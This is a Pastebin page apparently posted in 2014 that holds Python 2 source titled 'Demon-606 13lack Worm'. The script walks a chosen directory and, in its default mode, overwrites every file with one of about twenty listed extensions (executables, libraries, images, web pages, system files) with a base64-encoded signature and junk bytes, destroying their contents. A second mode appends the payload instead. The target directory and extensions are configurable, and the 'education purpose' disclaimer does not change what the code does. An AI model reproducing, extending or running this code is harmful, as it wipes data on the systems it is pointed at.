Advertisement
tanmay606

[NEW] Demon-606 13lackWorm PYTHON SOURCE CODE

Dec 5th, 2014
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.32 KB | None | 0 0
  1. # Demon-606 13lack Worm Code written by 13lackDeMon / Tanmay
  2. # FOR : Linux and Windows | Facebook : tanmay606
  3. # discription : this script infect all programs with virus code
  4. # which make all applications corrupt in current virus directory.
  5. # [+] this script is only for education purpose and i am not responsible
  6. # for any harm done by this script. this worm is very powerfull please handle this with care
  7. #----------------------------------------------------------------------------------------------------------------------------------------------------#
  8. from os import listdir,path,getcwd,system
  9. from time import sleep
  10. from sys import exit
  11. os = 'linux' #type [ linux or LINUX ] or [ windows or WINDOWS ]
  12. signature = 'RklMRSBJUyBJTkZFQ1RFRCBXSVRIIDEzbGFja1dvcm0gV3JpdHRlbiBCeSAxM2xhY2tEZU1vbiAvIFRhbm1heQ=='
  13. corrupt_or_justinject = 'CORRUPT' #type [ corrupt / CORRUPT ] to make all files corrupt or type [ inject / INJECT ] to just inject the code.
  14. code_to_inject = 'LC4vfiFAIyQlXiYqKCkpXyt7fVtdOjsiPCwuL34hQCMkJV4mKigpKV8re31bXTo7IjwsLi9+IUAjJCVeJiooKSlfK3t9W106OyI8'
  15. #main part of this worm. enter your code which you want to inject in all files.
  16. vul_files = [] #handle all files found in directory with extentions. dont touch it.
  17. directory_to_infect = getcwd()          #you can change this to your target dir
  18. files_ext_to_infect = ['sh','deb','zip','exe','dll','jpg','png','bmp','htm','html','desktop','php','jar','sys','txt','dat','ini','pl','rb','d']
  19. #worm will only work for extentions metion in [ files_ext_to_infect ]. you can add more extentions if you want.
  20. #----------------------------------------------------------------------------------------------------------------------------------------------------#
  21. #this part will find all files [extentions matching ]  in given directory and store it in array : vul_files
  22. if(os == 'linux' or os == 'LINUX'):
  23.  system('clear')
  24.  pass
  25. elif(os == 'WINDOWS' or os == 'windows'):
  26.  system('cls')
  27.  pass
  28. else:
  29.  print '[-] Invalid OS only [ linux and windows allowed ]'
  30.  exit(1)
  31. print '(+) WorM CoddER : 13lackDeMon / Tanmay\n'
  32. print '(*) Demon-606 13lack Worm started . . . . \n'
  33. sleep(2)
  34. for files in listdir(directory_to_infect):
  35.  try:
  36.   if(files.split('.')[1] in files_ext_to_infect):
  37.    if(signature.decode('base64') in files):
  38.     pass
  39.    else:
  40.     vul_files.append(files)
  41.     del files
  42.   else:
  43.    pass
  44.    del files
  45.  except:
  46.   pass
  47.   del files
  48. for file in vul_files:
  49.  if(corrupt_or_justinject == 'corrupt' or corrupt_or_justinject == 'CORRUPT'):
  50.   try:
  51.    f = open(file,'w')
  52.    f.write(signature.decode('base64'))
  53.    f.write(code_to_inject.decode('base64'))
  54.    f.close()
  55.    print '[+] Code injected in %s Successfully. [ Corrupt = TRUE ]'%file
  56.    sleep(2)
  57.   except:
  58.    print '[-] Unable to inject in %s [ Access Deniad ]'%file
  59.    pass
  60.  elif(corrupt_or_justinject == 'inject' or corrupt_or_justinject == 'INJECT'):
  61.   try:
  62.    f = open(file,'a+')
  63.    f.write(signature.decode('base64'))
  64.    f.write(code_to_inject.decode('base64'))
  65.    f.close()
  66.    print '[+] Code injected in %s Successfully. [ Corrupt = FALSE ]' %file
  67.    sleep(2)
  68.   except:
  69.    print '[-] Unable to inject in %s [ Access Deniad ]'%file
  70.    pass
  71.  else:
  72.   print '[-] Error : Invalid Option Enter use only [1] inject [2] corrupt'
  73.   break
  74.   exit(1)
  75. print '(*) Demon-606 13lack Worm Stopped.'
  76. sleep(2)
  77. exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement